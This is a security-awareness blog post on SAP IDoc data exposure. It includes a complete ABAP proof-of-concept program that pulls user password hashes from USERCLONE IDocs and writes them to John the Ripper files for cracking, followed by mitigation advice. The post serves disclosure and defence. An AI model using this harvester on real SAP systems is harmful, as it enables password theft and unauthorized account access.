Skip to Content

This blog is written in an effort to raise more awareness on securing your SAP infrastructure. As this is a broad topic and impossible to describe it completely in one blog, I will zoom in on one specific item: securing SAP Sensitive data stored in IDOCS. Keep in mind that securing your SAP platform needs to be done holistically. I will try and avoid being too technical…If I fail, sorry… you’re on your own… 😈

The exchange of Business Critical data between systems via ALE

The SAP systems which run your business processes store data in local databases. There are however many scenarios where data is exchanged between SAP systems. One typical method of exchanging data between systems is Application Link enabling (ALE). The business data flowing from one to another system is packaged in so called Intermediate Documents (Idocs). These Idocs often contain business critical objects like Vendor records, Sales orders, Credit card information or Product information. This is important to realize, especially when it comes to securing your SAP platform.

So, I have Idocs being sent all over the place, what’s the risk?

Idocs are stored in the database in for example table EDIDC. When people have access to these tables they can extract the sensitive data directly out of those tables. This makes it easy to harvest large amounts of sensitive security-related data.

A simple PoC to demonstrate the risk; The HashHarvester (HaHa)

In order to demonstrate the associated risk, I created a simple PoC. The challenge was to see how hard it would be to extract SAP User Password Hashes from the EDIDC table. When customers use Central User Administration, the replication of users is done via Idocs that might contain password hashes. The risk of having access to password hashes is described in my previous blog.


As I would have guessed, it was not hard at all to harvest the password hashes. The only thing needed to harvest the data you are looking for is to know the specific message-type you are looking for, in this case ‘USERCLONE’. Every Masterdata object in SAP has its own message-type that identifies the unique type of data being transferred. Once you know this message-type you can use for example an ABAP program to harvest the data you want. For a quick written example of such a program see the ABAP code herebelow.


REPORT  z_idoc.  “Can be optimized, but you get the point…

TYPES: BEGIN OF t_bcode,

  bname TYPE usr02-bname,

  bcode TYPE char16,

  datum TYPE edi_ccrdat,

  zeit TYPE edi_ccrtim,

  END OF t_bcode,

  BEGIN OF t_gcode,

  bname TYPE usr02-bname,

  passcode TYPE char40,

  datum TYPE edi_ccrdat,

  zeit TYPE edi_ccrtim,

  END OF t_gcode.

DATA: gt_docs TYPE TABLE OF edidc,

      ls_docs LIKE LINE OF gt_docs,

      gt_details TYPE TABLE OF edidd,

      ls_details LIKE LINE OF gt_details,

      gv_name TYPE usr02-bname,

      gv_bcode TYPE usr02-bcode,

      gt_bcode TYPE char16,

      gt_passcode TYPE char40,

      gv_passcode TYPE usr02-passcode,

      gt_jtr_b TYPE TABLE OF text255,

      ls_jtr_b LIKE LINE OF gt_jtr_b,

      gt_jtr_g TYPE TABLE OF text255,

      ls_jtr_g LIKE LINE OF gt_jtr_g,

      int TYPE i,

      gtab_bcode TYPE STANDARD TABLE OF t_bcode INITIAL SIZE 0,

      ls_bcode LIKE LINE OF gtab_bcode,

      gtab_gcode TYPE STANDARD TABLE OF t_gcode INITIAL SIZE 0,

      ls_gcode LIKE LINE OF gtab_gcode.

*select on EDIDC –> MESTYP ‘USERCLONE’. Don’t only use most recent IDOC for a user, but all entries for a user to see if there are patterns in users choosing new passwords

* for example just raising numbers at the end of a password

SELECT * FROM edidc INTO ls_docs WHERE mestyp = ‘USERCLONE’.

  APPEND ls_docs TO gt_docs.

ENDSELECT.

* Read details of Idocs

LOOP AT gt_docs INTO ls_docs.

  REFRESH: gt_details.

  CALL FUNCTION ‘IDOC_READ_COMPLETELY’

    EXPORTING

      document_number = ls_docs-docnum

    TABLES

      int_edidd       = gt_details.

  LOOP AT gt_details INTO ls_details.

    IF ls_details-segnam = ‘E1BPBNAME’.

      CLEAR gv_name.

      gv_name = ls_details-sdata+0(12).

    ENDIF.

    IF ls_details-segnam = ‘E1BPMETHOD’.

      IF ls_details-sdata NE ‘CLONE’.

        EXIT.

      ENDIF.

    ENDIF.

    IF ls_details-segnam = ‘E1BPLOGOND’.

      IF ls_details-sdata+53(16) NE ‘0000000000000000’.

        CLEAR: gv_bcode, gt_bcode, gv_passcode.

        gv_bcode = ls_details-sdata+53(16).

        gt_bcode = gv_bcode.

        gv_passcode = ls_details-sdata+70(40).

        gt_passcode = gv_passcode.

        ls_bcode-bname = gv_name.

        ls_bcode-bcode = gt_bcode.

        ls_bcode-datum = ls_docs-credat.

        ls_bcode-zeit = ls_docs-cretim.

        APPEND ls_bcode TO gtab_bcode.

        ls_gcode-bname = gv_name.

        ls_gcode-passcode = gt_passcode.

        ls_gcode-datum = ls_docs-credat.

        ls_gcode-zeit = ls_docs-cretim.

        APPEND ls_gcode TO gtab_gcode.

      ENDIF.

    ENDIF.

  ENDLOOP.

ENDLOOP.

SORT gtab_bcode BY bname datum DESCENDING.

SORT gtab_gcode BY bname datum DESCENDING.

*Output a JTR file for all unique users with most recent hash and pad spaces to make file JTR ready

*TODO: Make a new file with the old password hashes as they need to be unique

LOOP AT gtab_bcode INTO ls_bcode.

  ON CHANGE OF ls_bcode-bname.

    CLEAR int.

    int = STRLEN( ls_bcode-bname ).

    CASE int.

*       Fill username up to 40 characters with spaces for BCODE’.

      WHEN 1.  CONCATENATE ls_bcode-bname ‘:’ ls_bcode-bname ‘                                       $’ ls_bcode-bcode INTO ls_jtr_b.

      WHEN 2.  CONCATENATE ls_bcode-bname ‘:’ ls_bcode-bname ‘                                      $’ ls_bcode-bcode INTO ls_jtr_b.

      WHEN 3.  CONCATENATE ls_bcode-bname ‘:’ ls_bcode-bname ‘                                     $’ ls_bcode-bcode INTO ls_jtr_b.

      WHEN 4.  CONCATENATE ls_bcode-bname ‘:’ ls_bcode-bname ‘                                    $’ ls_bcode-bcode INTO ls_jtr_b.

      WHEN 5.  CONCATENATE ls_bcode-bname ‘:’ ls_bcode-bname ‘                                   $’ ls_bcode-bcode INTO ls_jtr_b.

      WHEN 6.  CONCATENATE ls_bcode-bname ‘:’ ls_bcode-bname ‘                                  $’ ls_bcode-bcode INTO ls_jtr_b.

      WHEN 7.  CONCATENATE ls_bcode-bname ‘:’ ls_bcode-bname ‘                                 $’ ls_bcode-bcode INTO ls_jtr_b.

      WHEN 8.  CONCATENATE ls_bcode-bname ‘:’ ls_bcode-bname ‘                                $’ ls_bcode-bcode INTO ls_jtr_b.

      WHEN 9.  CONCATENATE ls_bcode-bname ‘:’ ls_bcode-bname ‘                               $’ ls_bcode-bcode INTO ls_jtr_b.

      WHEN 10. CONCATENATE ls_bcode-bname ‘:’ ls_bcode-bname ‘                              $’ ls_bcode-bcode INTO ls_jtr_b.

      WHEN 11. CONCATENATE ls_bcode-bname ‘:’ ls_bcode-bname ‘                             $’ ls_bcode-bcode INTO ls_jtr_b.

      WHEN 12. CONCATENATE ls_bcode-bname ‘:’ ls_bcode-bname ‘                            $’ ls_bcode-bcode INTO ls_jtr_b.

    ENDCASE.

    APPEND ls_jtr_b TO gt_jtr_b.

  ENDON.

ENDLOOP.

LOOP AT gtab_gcode INTO ls_gcode.

  ON CHANGE OF ls_gcode-bname.

    CLEAR int.

    int = STRLEN( ls_gcode-bname ).

    CASE int.

*       Fill username up to 40 characters with spaces for PASSCODE’.

      WHEN 1.  CONCATENATE ls_gcode-bname ‘:’ ls_gcode-bname ‘                                       $’ ls_gcode-passcode INTO ls_jtr_g.

      WHEN 2.  CONCATENATE ls_gcode-bname ‘:’ ls_gcode-bname ‘                                      $’ ls_gcode-passcode INTO ls_jtr_g.

      WHEN 3.  CONCATENATE ls_gcode-bname ‘:’ ls_gcode-bname ‘                                     $’ ls_gcode-passcode INTO ls_jtr_g.

      WHEN 4.  CONCATENATE ls_gcode-bname ‘:’ ls_gcode-bname ‘                                    $’ ls_gcode-passcode INTO ls_jtr_g.

      WHEN 5.  CONCATENATE ls_gcode-bname ‘:’ ls_gcode-bname ‘                                   $’ ls_gcode-passcode INTO ls_jtr_g.

      WHEN 6.  CONCATENATE ls_gcode-bname ‘:’ ls_gcode-bname ‘                                  $’ ls_gcode-passcode INTO ls_jtr_g.

      WHEN 7.  CONCATENATE ls_gcode-bname ‘:’ ls_gcode-bname ‘                                 $’ ls_gcode-passcode INTO ls_jtr_g.

      WHEN 8.  CONCATENATE ls_gcode-bname ‘:’ ls_gcode-bname ‘                                $’ ls_gcode-passcode INTO ls_jtr_g.

      WHEN 9.  CONCATENATE ls_gcode-bname ‘:’ ls_gcode-bname ‘                               $’ ls_gcode-passcode INTO ls_jtr_g.

      WHEN 10. CONCATENATE ls_gcode-bname ‘:’ ls_gcode-bname ‘                              $’ ls_gcode-passcode INTO ls_jtr_g.

      WHEN 11. CONCATENATE ls_gcode-bname ‘:’ ls_gcode-bname ‘                             $’ ls_gcode-passcode INTO ls_jtr_g.

      WHEN 12. CONCATENATE ls_gcode-bname ‘:’ ls_gcode-bname ‘                            $’ ls_gcode-passcode INTO ls_jtr_g.

    ENDCASE.

    APPEND ls_jtr_g TO gt_jtr_g.

  ENDON.

ENDLOOP.

DATA: ld_filename TYPE string,

      ld_path TYPE string,

      ld_fullpath TYPE string,

      ld_result TYPE i.

* Display save dialog window for BCODES

CALL METHOD cl_gui_frontend_services=>file_save_dialog

  EXPORTING

    window_title      = ‘SAVE JTR BCODE HASHES ‘

    default_extension = ‘TXT’

    default_file_name = ‘JTR_BCODE_HASHES’

    initial_directory = ‘c:\temp\’

  CHANGING

    filename          = ld_filename

    path              = ld_path

    fullpath          = ld_fullpath

    user_action       = ld_result.

* Check user did not cancel request

CHECK ld_result EQ ‘0’.

CALL FUNCTION ‘GUI_DOWNLOAD’

  EXPORTING

    filename         = ld_fullpath

  TABLES

    data_tab         = gt_jtr_b

  EXCEPTIONS

    file_open_error  = 1

    file_write_error = 2

    OTHERS           = 3.

* Display save dialog window for PASSCODES

CALL METHOD cl_gui_frontend_services=>file_save_dialog

  EXPORTING

    window_title      = ‘SAVE JTR PASSCODE HASHES ‘

    default_extension = ‘TXT’

    default_file_name = ‘JTR_GCODE_HASHES’

    initial_directory = ‘c:\temp\’

  CHANGING

    filename          = ld_filename

    path              = ld_path

    fullpath          = ld_fullpath

    user_action       = ld_result.

* Check user did not cancel request

CHECK ld_result EQ ‘0’.

CALL FUNCTION ‘GUI_DOWNLOAD’

  EXPORTING

    filename         = ld_fullpath

  TABLES

    data_tab         = gt_jtr_g

  EXCEPTIONS

    file_open_error  = 1

    file_write_error = 2

    OTHERS           = 3.

MESSAGE s208(00) WITH ‘Files downloaded to frontend’.

DATA: lv_lines TYPE i.

DESCRIBE TABLE gt_jtr_b LINES lv_lines.

WRITE: lv_lines, ‘hashes written to two files.’.


This ABAP program loops over the EDIDC table and writes the found password hashes to a file that can be used as input for popular password cracking tools like John the Ripper, as explained here. From there it is very easy to brute-force the found hashes:


http://www.mattbartlett.co.uk/wp-content/uploads/2012/02/john-run.png

Ok, great stuff, but how do I protect myself against this?

In general it is important to have a process in place to make sure your business critical SAP systems are secured. Think about applying patches to all different landscape components (SAP applications, Databases, Operating systems, Frontend pc’s, network components, etc). But there are many more things to take into account like securing your SAP parameters, Access Control Files, web services, Authorizations, Log files, Network connections, Operating systems setup, etc., etc. As this is complex and a lot of work, you could consider using external tooling.


Some specific countermeasures that can be taken to mitigate the specific risk described in this blog are:

  • Secure the connection when transmitting Idocs, use for example SNC for RFC’s
  • Limit access to tables containing Idocs via authorizations (For example the EDIDC table)
  • Encrypt sensitive fields in Idocs, see the references below
  • Cleanup old Idocs regularly via SAP archiving

References

For more information see following SAP Note and other material:

To report this post you need to login first.

Be the first to leave a comment

You must be Logged on to comment or reply to a post.

Leave a Reply